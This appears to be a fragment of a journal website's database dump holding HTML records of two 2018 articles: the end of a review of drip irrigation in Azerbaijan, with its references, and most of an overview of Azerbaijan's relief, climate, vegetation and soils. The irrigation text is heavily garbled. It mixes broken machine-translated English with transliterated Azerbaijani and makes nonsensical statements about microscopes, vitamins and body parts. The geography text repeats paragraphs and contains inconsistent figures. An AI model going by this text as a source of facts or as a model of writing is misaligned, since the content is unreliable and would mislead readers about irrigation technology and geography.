often causes irritation.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The Guru is a microcosmic bowl that can be used to support the body of the horseshoe. This is the best solution. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">There are a lot of modern drip devices recommended by the industry, for example, in Bulgaria, new designs for low-dose mixed fine particles of a purple mixture have been developed, and the Firms of &quot;netafites&quot; Israel, created in recent times and finding a wide application challenge under various operating conditions.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">&nbsp;However, one or another type of construction having the presence of similar large disadvantages in a constructive design that are not subject to repair and restoration is not capable of working in a muddy environment formed with mineral fertilizers or fine particles of sand in the water came out of production as not justified themselves. In replacement, the Israeli company Netafim created another mikovoedovyhlya that expanded production. At the same time, it should be recognized that these micro-releases also do not justify themselves in the conditions of work in Azerbaijan, i.e. There was no field of wide application where it is required to equip the irrigation system with expensive pre-cleaning facilities.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Next, the design is not self-cleaning. It is used as a one-off design. For that, we also created our designs, which re-perverted all technical and operational parameters of their predecessors with increased reliability under extreme operating conditions and durability. The regime of Ahmadiya is developing and a little magic. The elegant business suite is ideal for 7 l / sec. The material is water resistant. The body of the microworld is made of teeth.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The body was laid one by one and was placed in shredded pebbles. The shuttle is the diameter of the body diameter of the Hamilla diameter, which is approximately equal to the diameter of the tahm. The cabinet is incompatible with the structure of the slate. Sturgeon is a large piece of mustard seedlings, one of which is made from the onions of the gallbladder.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The head of the head is spiral and broken down into channels. The microscopic parts of the microscope can be adjusted to match the normal raster image. Microcosm of microscopic lubrication gouges is the main cause of severe headaches. This Foundation will give the hyabs that the irrigation water should be cleaned to the rootstock of the water pipes. Due to the creation of irrigation systems with drip irrigation, the Italian businessman &quot;steel&quot;, &quot;Bendripper&quot;, Irrizor Knitted BashSU firmalary eyurmtsshlyar. Mega supplied with Arams?z has become &quot;Hapag microsuburaxan&quot; and from the membrane compensator.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Elimination in Hagg, a hot dog in the corpse, is Yerilshir. The compensating membrane is a spiral labyrinth of a burnt rubber plate. The membrane compensator is a fungus (D = 2 mm). The principle of the microscopic surface of the hole aperture is the compensator of the submarine tiarafind labyrinth of the period of the head of the nosaslanir syndicate. The Stalk microscope was forgiven for 7.0 l / s or 8.5 l / s. Microcavers of the stem have a small dose of vitamin D in the drainage system of the binary square part of the bottle. Cerebral palsy of chaurerititis microscopic tubules is the optimal pancreas nodule in the cough region of bitumen. The microscopic crankshaft is a system of irrigation drainage system, the irisor is an automation, a microcosmic ghost.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The regime of Ahmadiyya is completely different. The Iriteror neighborhoods were deployed to support a strong creek waterway in the Duchess&#39;s hills. The Verilyamsky Shipyard (Shock) Shyolkindya Tianjin. His gold crown was decorated with a piston rod. The Porsche form is the only source of water that can be extracted from the first watercourse, and the first micro device in the microcurrent &quot;gourtum&quot; Bourgeois guru squirrel team. Sit down, as you can, with the help of your team&#39;s microtubers. Microscopes are described in detail in the following sections: (1-10 m). </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Confirmation of the design is the strength of the particle and vitamins in the microsubmits of chimpanzees. Yaeyar birya tutulars, o birilarinin ishi daianir.Bu microsuburahyynyn tssttsnltsytsy suyun vurma il veerilmassidir. &quot;Bendripper&quot; Milan firmynesynyn aramsyz ishlyanyan microsuburakhyysy bailarin, tsztsmltslarin, gyapalin gapaly gruntt yetishirilyan tyaryavvyz biktylyarin suvarymmasynda tyatbig olunura. The steam structure is rapidly expanding, and Ahma&#39;s regime develops and develops like a small mugger. Polytylendian shchazyrlanyr, bashynyn hsunmy channels labyrinth of the shacklinda yerin athetilmishdir. Bashga constructsalarel mchayisiaya andaTB&nbsp;mikrosuburahyynyna tssttsnltsyts onun ekspluotatsiyasasynyna sadaliyidir.Bu konstruksiyany yasas chatyshmazlyy suvarma suyunun tamizlyanmysinia eschtiyahyun olmasydyr. The Italian vulnerability mechanism is an excellent guide for microblogging.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The regime of Ahmadiyya is a shrub and a small myrrh. Microsatellites are 60 cm in diameter, 1.0 mm in diameter and can be grown in one mucosa. The original sinusoidal sinus is present in the mucosa. Mikrosuburahyo - mikroboruug Suyun byarabyara paylanmasyny Knitted onun bitkinina bilavasitya Kuk system zonasynoy al doses il verilmyasi tschtsn nyazyardya tutulur. Mikrosuburahyynynoy chatyshmazlyy Isya suvarma suyunun tyamizlyanmyasi eschtiyaydyr.Damylarela suvarma sistemlyarininoy yaradylmasy saschyasindya Avstriyanyna &quot;Driplex&quot; Knitted &quot;Keylip&quot; firmalary myashschurdura. It&#39;s bad, however, that the Driplex microprocessor just flickers up and down a little. Cozy business complexity - 3 days / 3 hours.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Microsummers are perfectly equipped with plasterboard, polypropylene cores and sieve dishwashers. &quot;Driplex&quot; mikrosuburahyylary Suyun aramsyz olarag K&auml;nd tyasyarrtsfaty bitkilyarinin sous tyalyabatyn uyuna bitkinin bilavasitya Kuk system zonasynoy al doses il verilmyasi tschtsn nyazyardya tutulub. Disadvantages of micro outlets is in the installation, dismantling and also difficultexplanatism Shamyakyan champiner was feverish because he is one of the most commonly used chemicals in the world. Cypalip is one of the most repressive manufacturers of microcosmic products, tschtsn yazyardya tutulub. The Ahmadiyya regime is a shamvarth and a bit of magic. Type of spiral &quot;Kalesny&quot; microphone looks from the body. The purpose of counting is to defeat the scurvy, which can be combined to prevent the development of chronic disease.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">A real chewing gum is an alcohol spiral. The principle of microexcitation is the juice of the epithelial supernatant of the aquatic environment. The smallest dose of microcurrents in Ceylon is found in the drainage system and the smallest dose of vitamins. This type of microcurrent is designed to absorb the water of the irrigation canal.</span></p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Aliev BG (1999) Methods of applying pulse and doping technology in Azerbaijan. Baku: 29.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">NB Byashov (1999) Irrigation equipment Mew&auml;&auml;agigi. Baku, &quot;Elm&rdquo;: 51-101.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Talybov IA (2006) Certificate of Honor of the South Kazakhstan State University of Water Resources and Technology in the development of the Bulletin of Gubar Khachmaz of the Republic of Azerbaijan. Materials of the XIVV International Patriarchate. With Baki: 179-183.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Aliev BG (2006) The procedure for resolving the issue of the appropriateness of effectiveness of Aliev ZG venture microorganism in the village of Agaev AN, &quot;Management of ecology and water resources. Institute of Eosiya and Suvarma: 28-32.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">&Uacute;avadzadya EB (2007) The concept of automation of water supply systems. The Ecolodge Journal and the Water Mainstream Efficacy Journal. Baku: 5.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Yaliyev ZSh (2002) Impulse development of water systems and its properties. Aev AN a sunflower. CWE &quot;Audit&quot;, Baku: 107-109.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Shchezhenov Shch M (1978) Dam&#39;larla suvarma&quot; by Azaryashr Byashov NB.</span></li>\r\n</ol>\r\n','','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Oqlu AZH (2018) Review and Assessment of the Use of Irrigation Systems in Conditions of Acute Resource Shortage in the Conditions of Azerbaijan. Open Acc J Agri Res: OAJAR-100002. </span></p>\r\n','','1538875250.pdf',NULL,'1538875250.jpg','',0,1,'2018-10-07 06:50:50','2018-10-16 01:19:56',1),(14,35,'20','2018','Features, Nature and Economic Conditions of Azerbaijan','Aliyev Zakir Hussein Oglu*','Review Article','Features-Nature-and-Economic-Conditions-of-Azerbaijan','Features, Nature and Economic Conditions of Azerbaijan','Features, Nature and Economic Conditions of Azerbaijan','Features, Nature and Economic Conditions of Azerbaijan','<p style=\"text-align:center\"><strong><span style=\"font-size:20px\"><span style=\"font-family:Times New Roman,Times,serif\">Open Access Journal of Agriculture Research</span></span></strong></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Features, Nature and Economic Conditions of Azerbaijan</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Aliyev Zakir Hussein Oglu<sup>*</sup></strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Institute of Soil Science and Agrochemistry NAS Azerbayijan, Azerbayijan</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>*</sup><strong>Corresponding author:</strong> Aliyev Zakir Hussein Oglu, Institute of Soil Science and Agrochemistry NAS Azerbayijan, Azerbayijan. Email: <a href=\"mailto:zakiakademik@mail.ru\">zakiakademik@mail.ru</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Oglu AZH (2018) Features, Nature and Economic Conditions of Azerbaijan. Open Acc J Agri Res: OAJAR-100003.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date:</strong> 23<strong> </strong>August, 2018; <strong>Accepted Date:</strong> 10 September, 2018; <strong>Published Date:</strong> 10 October, 2018</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Abstract</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Natural and economic conditions in Azerbaijan are very complex and peculiar. Up to 60% of the entire territory of Azerbaijan is occupied by mountain and foothill zones, the remaining part are (42.8%) plains and lowlands. High mountains, intermountain depressions, valleys, volcanic highlands, which were formed during the geological epoch, cover the territory of the republic. On a relatively small territory of the republic, there is a whole complex of deposits. The features of the geological structure and the available material on the tectonics of the whole territory of the republic make it possible to restore the history of the development of its relief from the early geological epochs. In the Greater and Lesser Caucasus, the geological history of relief development can be traced from the Upper Jurassic, in Talysh from the beginning of the Paleogene, in the Nakhichevan Autonomous Republic from the Paleozoic, which is confirmed by the investigations of B.A. Antonova, B.A. Budagova at the beginning of the Oligocene, early Miocene tectonic processes are intensified and as a result, in all folded surfaces, an increase in land occurs. In the Greater Caucasus, the Gusar and Tfan uplifts increase and in their troughs, there is accumulation of clay. In the Lesser Caucasus, along with clays, there is an accumulation of sands, gravels and conglomerates, sediments characteristic of river valleys when they leave the mountains and much more.</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Keywords:</strong> Activation of Volcanism; Erosion; Equal; Geological Epoch; Hollows; Lowlands; Mountain Ranges; Natural-Climatic; Relief; Valleys; Volcanic Highlands</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Introduction</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Square area of the Republic of Azerbaijan is 86.6 thousand km<sup>2</sup>, the population is (January 1, 2018) over 10.0 million people. Azerbaijan is situated on the western shore of the Caspian Sea. The length of the coast of the </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Caspian Sea in Azerbaijan is 713 km. Azerbaijan is an important transportation hub of commerce and of the &quot;Great Silk Road&quot;. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Azerbaijan occupies the North-Western and South-Eastern parts of the Caucasian Ridge. The borders of the Republic of are: Republic of Dagestan in the North, part of the Russian Federation, with the West-Armenian and Georgian Republic, East-Caspian Sea, to the South it borders Iran and Turkey. The territory is divided into five major natural-economic zones: Greater and Lesser Caucasus, Lenkoran and zone located between them extensive Kura-Arax economic zone, Nakhchivan natural economic zone, which consist of 10 natural-economic regions, Absheron economic region, Guba-Khachmaz economic region, Shaki-Zaqatala economic region, a mountainous Shirvan, Ganja-Gazakh Lachin economic region-Lachin economic region, the Upper Garabag, Aran economic region, Lankaran-Astara economic region, Nakhichevan.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Within Azerbaijan is the South-Eastern part of the Greater Caucasus. From the top of great Teen-Rosso-to the top great Babadag stretches the main Caucasian Ridge, East of Babadag goes downgrading Ridge to the Caspian Sea. The highest peaks of the Caucasus Mountains in Azerbaijan are g. Bazaar-borrowed by Bazarduzi mountain (4489 m), g. Tfan (4197 m) covered with eternal snows. In the southwest of the main Caucasian Ridge breaks off to Ganykh-Agrichajskoj Valley where the rivers converge, carrying water from the ridge to the South of the Valley foothills are located. In the South-East of the large Caucasus is Absheron peninsula and adjacent foothills of Gobustan. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The highest peaks of the Caucasus mountains in Azerbaijan is the Bazar mountain, borrowed by Bazarduzi mountain (4489 m), Mount Tfan (4197 m), covered with eternal snows. In the south-west of the main Caucasian ridge, it breaks up to the Ganych-Agrichay valley, where rivers that transfer water from the ridge to the south of the foothills of the valley converge. In the south-east of the large Caucasus is the Absheron Peninsula and the adjacent foothills of Gobustan. To the north of the main Caucasian Ridge stretches the lateral Ridge, within Azerbaijan its eastern part. High peaks of g. Shahdag (4251 ft) are covered with glaciers. Lateral Ridge gradually descends in a south-easterly direction and ends at the apex of Beshbarmak. From the northeast to the Lateral Ridge abuts the sloping plain and merges with the Samur-Devichinskoj lowland.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The Lesser Caucasus area located southwest of the Kur The highest peaks of the Caucasus mountains in Azerbaijan is the Bazar mountain, borrowed by Bazarduzi mountain (4489 m), Mount Tfan (4197 m), covered with eternal snows. In the south-west of the main Caucasian ridge, it breaks up to the Ganych-Agrichay valley, where rivers that transfer water from the ridge to the south of the foothills of the valley converge. In the south-east of the large Caucasus is the Absheron Peninsula and the adjacent foothills of Gobustan. basin. Within Azerbaijan here stand out the Shakhdag, Murovdagskij, Zangezur, Nakhchivan and Daralagezskij ridges, as well as Garabahskoe volcanic mountain.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The South-Eastern part of the country occupied by Talysh mountains with longitudinal ridges: Burovar, Peshtasarskij, Talysh. In this zone, but Midland terrain mountainous part of numerous ridges, and this causes the formation of intermontane hollows. Lenkoran lowland is a sloping plain. Formation of the relief happened under&nbsp;</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">the influence of the regressions of the Caspian Sea and the accumulative revenue of material from the mountains. Unlike major and minor Caucasus, this area has not been frozen chetvertichnomu quaternary.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">On the territory of the Nakhichevan Autonomous Republic are Zangezur and Daralagezskij ridges. Along the crest of the Zangezur mountain range forms the border between Armenia and Nakhchivan Autonomous Republic. Climatic conditions in Azerbaijan are complex and peculiar. More than half of the territory of Azerbaijan (58%) covered by mountains, the remainder (42.8%) Plains and lowlands of the Azerbaijani territory with high mountains, Intermountain Hollows, valleys, volcanic Highlands formed over geological periods. The relatively small area the Republic has a whole range of deposits. &nbsp;Features of geological structure and available material on tectonics the entire territory of the Republic gives the opportunity to restore history to its relief from earlier geological eras.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">On the big and small Caucasus, geological history traces the development of the relief from the upper Jurassic, Talyshe-since the beginning of the Paleogene in Nakhchivan Autonomous Republic-with the Paleozoic. A. research Antonova, B.A. Budagov [1] at the beginning of the Oligocene early Miocene tectonic processes and as a result all folded surfaces increase the sushi. In the Greater Caucasus is increasing, raising Tfank Kusar and their deflection is the accumulation of clay. On small Caucasus along with clays is the accumulation of sand, gravelitov and conglomerates, sediment characteristic of river valleys when leaving the mountains. It is said that already at that time on small Caucasus existed river network.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">A significant part of the Kur basin was a saltwater pool, inside of which were located on the island. In the formation of Oligocene sushi in Talyshe, the central part of the falls, is the accumulation of a powerful, layers of Maikop retinue, Yardimli, education Peshtasar, Burovarskogo ridges. In the middle and late Miocene development relief Azerbaijan intensifies. Central Vandamskoe lifting and separating their Zakatalo-Kovdag perp has already represented the middle ranges, fragments of which are preserved in the modern relief. In the relief of Gusar, also Beshbarmaq breached the uplift. On average, Miocene and small Caucasus change occurred. This is evidenced by the presence of sandy material layer of pebbles of conglomerates.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">On small Caucasus Murovdagskij, Miocene average Garabakh, Zangezur ridges obviously exceed the height of the Midlands and the Shakhdag and Daralagezskij Ridges do not reach the Midlands. According to B.A. Budagov, G.A. Khalilov in the early late Miocene in the Greater Caucasus expands transgression of the sea. In the early Pliocene formation of mountain constructions of major and minor Caucasus, Talysh continues. In relation to the tectonic Tfansko -Dibrarskaja-raising land is exempt from the sea. On the big Caucasus there was already a terrain that stretches to the town of Babadag. Marine pool occupied southeastern Shirvan.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In the formation of the relief of the Lesser Caucasus, Nakhichevan AR, Talish in the early Pliocene major changes occurred. Tectonic processes during this period are expressed in raising major mountain ranges and the revitalization of the volcanism of the Karabakh Highlands. From this period also involves the formation of the South the Caspian basin and the formation of the Lankaran lowland.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Late Pliocene-beginning of a new era that is associated with the transgression sea, oceanic water erupts in the Caspian basin and form extensive bays. During the Pleistocene period a sharp climate change and this entails strengthening the tectonic processes of growth of the height of the mountain facilities, increased sedimentation, terrgenous material and the alternation of transgressions and regressions of the sea. In the Experimental, zone formed band proljuvialno-deljuvialnoj plain. In the lower reaches of the rivers Bolgarchaya, Viljashchaya and other rivers formed cones.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Mountain building of the greater and Lesser Caucasus continued to be formed and purchased the modern shape of the Caucasus Highlands in this period reached a height of 4000 m. In the field of Garabahs Highlands volcanic activity was evident. The lava formed either step or plateau flows down the valleys of Tartar, Bazarchayja, Arpachay. In mountainous parts of the greater and Lesser Caucasus developed mining and Valley glaciers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">On the territory of the greater and Lesser Caucasus folded Jurassic and chalk slates meet, Sandy limestones, sandstones, limestone&rsquo;s, collected into complex folds. In the South-Eastern Caucasus developed deposits of chalk, represented by clays, limestones. On the territory of the Nakhichevan AR Miocene deposits denominated saliferous thickness. According to M.A. Kashkaja [2] Middle Devonian coral limes volcanogenic tones, sandstones, and Shales represent sediments. Upper Devonian sediment is sand; these are sandstones, shales,&nbsp;quartzite. The power of these deposits amounts to 1100 m. Perm deposits consist of Marly limestones with a capacity of several tens of meters. On the territory of the greater and Lesser Caucasus, meet Jurassic deposits. This argillites, sandstones are found in high jure volcanogenic rocks in the upper jure-carbonate. Alluvial, alluvial debris and marine Quaternary sediments fold lowland territories of Azerbaijan.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4. Climate </strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Azerbaijan, as a mountainous country, at the same time has extensive lowlands, valleys and in connection with a variety of surface topography has a varied climate. From the invasion of cold air masses from the North of the Republic protects the main Caucasian Ridge. Depending on the height above sea level, climatic conditions Azerbaijan vary. With the show in the mountains the average temperature falls. Of the 11 installed on globe main climate types according to E.M. Shihlinskogo <span style=\"color:red\">[3,4] </span>8 types found on the territory of the Republic, namely:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.1. Climate Semi-desert and Dry Steppe</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">It is endemic to the territory of the Kur depression, Ganja-Gazakh array and the Near the Araksinsky lowlands area of Nakhchivan. This region is characterized by hot summers, ild winter with little rainfall from intense evaporation. The air temperature ranges from +12 to -15<sup><span style=\"color:red\">&ordm;</span></sup>. Months of July and August is hottest months, January-the coldest month. Rainfall ranges from 430 mm-185, relative air humidity from 50-60% in summer, 75-80%-during the winter months. Northern winds are found on the Absheron peninsula in all seasons; sometimes reach hurricane force (Baku Nord or &quot;Khazri&quot;). These winds blow in the summer of 2-3 days.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.2. Warm-temperate Climate with Dry Winters</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Characteristic of mountain zones of southern slope of Great Caucasus (1400-2000 m), Alazan-Avtoran Valley (200-500 m) and the eastern slope of the Lesser Caucasus (1400-1500 m), this region is temperate moist, mild winters and moderately hot summers. Such a climate favorable for cultivation of cereals, grapes, also to the spa zone (Roads, Sheki, Zagatala, Ajikend).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.3. Warm-temperate Climate with Dry Summers</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Inherent in the Experimental area. Mild, wet winters, moderately hot, dry summers, and rainy autumn. Rainfall reaches 1300 mm per year. This climate is called wet-subtropical, is favorable for cultivation of citrus fruits, tea and fruit-melons.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.4. Cold Climate with Dry Winter</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Typical Alpine and mountain area of the Lesser Caucasus and (1500-2700 m) and North-eastern slopes of the Greater Caucasus (1000-2700 m). This region due to the cool summer, a harsh winter, a large number of solar radiation and the presence of mineral springs suitable for sanatoriums and holiday homes (Lake Gek-Gel, Istisu).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.5. Cold Climate with Dry Summers</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Inherent to the mountain zone of Nakhchivan. Compared with the Near the Araksinsky stripe there is more moisturizing, less hot summers, more cold and snowy winter.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.6. Warm-temperate Climate with Uniform Precipitation</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Noted in the forest zone of southern region (600-1500 m) and North-eastern slopes of the Greater Caucasus (200-500 m). Mild winters and moderately hot summers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><strong>4.7.</strong>&nbsp;<span style=\"font-family:Times New Roman,Times,serif\"><strong>A Cold Climate with Abundant Rainfall</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Found in the Alpine zone of the greater and Lesser Caucasus.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5. Vegetation</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Vegetation of Azerbaijan is very varied. On the territory of the Republic has around 4100 vegetation types. Vegetation is distributed on tall steps depending on zonal changes in climate and soil, i.e. According to the law of vertical and horizontal zonation. Throughout the history of the flora was subjected to changes, i.e. Since the Cretaceous era to the present day due to changes in physical and geographical conditions, vegetation of Azerbaijan had changed. Historical Geology data show that at the end of the Cretaceous and early tertiary epoch of the Caucasus was an island with a humid climate.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The area was covered with lush evergreen vegetation, but this ancient vegetation has not survived to the present day and in the tertiary period was expelled. Glacial period introduced new changes to vegetation. With the retreat of the glaciers, forest vegetation occupied the mountain slopes. This vegetation, a few vidoizmenivshis video-modified, has been preserved to our time.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In the modern vegetation of Azerbaijan, you can highlight certain types of landscapes and vegetation. For example, the Kur depression, Absheron, South Mughan, Samur-Devechi lowland, Priaraksinskoj under the Araks plain and Foothill semi-deserts.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Within Azerbaijan at an altitude, 1500-2000 m above sea level vegetation is represented by broadleaved forests. They include: Georgian oak, hornbeam, Linden, maple, in the lower parts of the belt include chestnut, Caucasian persimmon. srednegornogo forests belt: predominate East beech, hornbeam, maple, ash, Linden. In the western slopes of the bushes <em>Rhododendron luteum</em>, on East Juniper <em>juniperus </em>Climbing even higher. These include Georgian oak, hornbeam, linden, maple, in the lower parts of the belt - chestnut, Caucasian persimmon. Middle forest canvas: Oriental beech, hornbeam, maple, ash, linden predominate. On the western slopes of rhododendron luteal bushes on the eastern juniper rises even higher. characteristic of the zone of East oak forest (<em>Quercus macranthera</em>) forms the Park oak.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Subalpine vegetation is divided into 2 zones: lower, upper. The lower notes, from 1600 to 2000 m above sea level. This includes forest edges, clearings. Dominated by subalpine, poslelesnye, post-forest tall, plains and meadows. Upper zone within heights from 2000-2700 m above sea level. It is dominated by the motley ostepnennye desertification position meadows and steppes. Above 2600-3200 m Nival belt with cold climates are almost devoid of vegetation. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Lankaran-Astara region depending on the humid-subtropical climate vegetation has a specific species composition. A study of the flora of this region led to a study of AA. Grossheim [5] and L.I. Prilipko [6]. The main breed of Lenkoran lowland forest area is Demir-Agach (<em>Porrotia persica</em>), hornbeam <em>(Carpinus caucasica</em>). As Bush advocated shrubs of Hawthorn (<em>Crataegus </em>sp.<em>), </em>Ruscus (<em>Ruscus hyrcanus</em>), medlar (<em>Mespilus germanica</em>). In lowland forests at the edges and glades grow vines, silk Acacia (<em>Albizzia julibrissi</em>).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Vegetation of Nakhchivan also formed depending on the climate. According to Li Prilipko all with Arax lowlands and foothills takes wormwood semi-desert. Rising above the predominant vegetation of lugovostepnogo meadow-steppe nature. In the area of the Highlands on the slopes of vegetation does not form a closed cover. Intervals between shrubs and trees are occupied by the lush, lush meadows, dry meadows, depending on the steepness of slopes and soil cover. Vegetation is one of the main factors of the soil-process. Decaying plants accumulate a large amount of soil organic matter. Depending on soil organic matter enrichment, S.A. Zakharov allocates 3 type of vegetation: wood, Cliff, travjanistuju herbaceous.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Wood, i.e. forest vegetation occupies a large area and rises to a height of 2700 m above sea level. m on the southern slope of the main Caucasian Ridge and alazan-Avtoranskoj Valley forests occupy almost 34% of the area. In the north-eastern slope and 13.8% of the Caspian depression. The Absheron peninsula, Gobustan belong to treeless areas. In Guba-Khachmaz zone large space occupied by forests of oak, poplar, hornbeam, Elm, mulberry. Compared with forest shrub takes a smaller area. Woody shrubs such as: Hawthorn, dogwood, medlar, a dogrose, a sloe found on the edges of forests. Other shrubs, rhododendron derzhitree, Astragalus, Juniper took steppe and semi-desert area.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">By type of grassy vegetation S.A. Zakharov and B.A. Aliyev distinguishes semi-desert, desert, steppe, meadow, Sandy, Rocky, swampy. Steppe vegetation covers Shemakha Highlands, meets on Guba-Gusar plain. Among the mountain-steppe vegetation representatives of legumes, with the deep root system, form the high grass. Among the most common encounters, sweet clover, sainfoin clover, vetch, chick peas.</span></p>\r\n\r\n<p style=\"text-align:justify\"><strong>6. The Soil Cover</strong></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Formation of the relief, climate and human activities affect the appearance of the soils of Azerbaijan. The soil is represented by all major soil types and obeys the law of horizontal and vertical conation. Among the factors of soil formation plays an important role in relief, because the vertical soil zones are in direct dependence on the vertical zonation, climate and vegetation. In the mountainous part of Azerbaijan nature of the terrain is very difficult and this is the reason of runoff of surface waters. On the supervision of G.A. Aliyev [7] very often with mountainous part-sloping plain carried products of weathering. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In the mountainous part of the greater and Lesser Caucasus common mountain-meadow<strong> </strong>soil, where the soil-forming process takes place 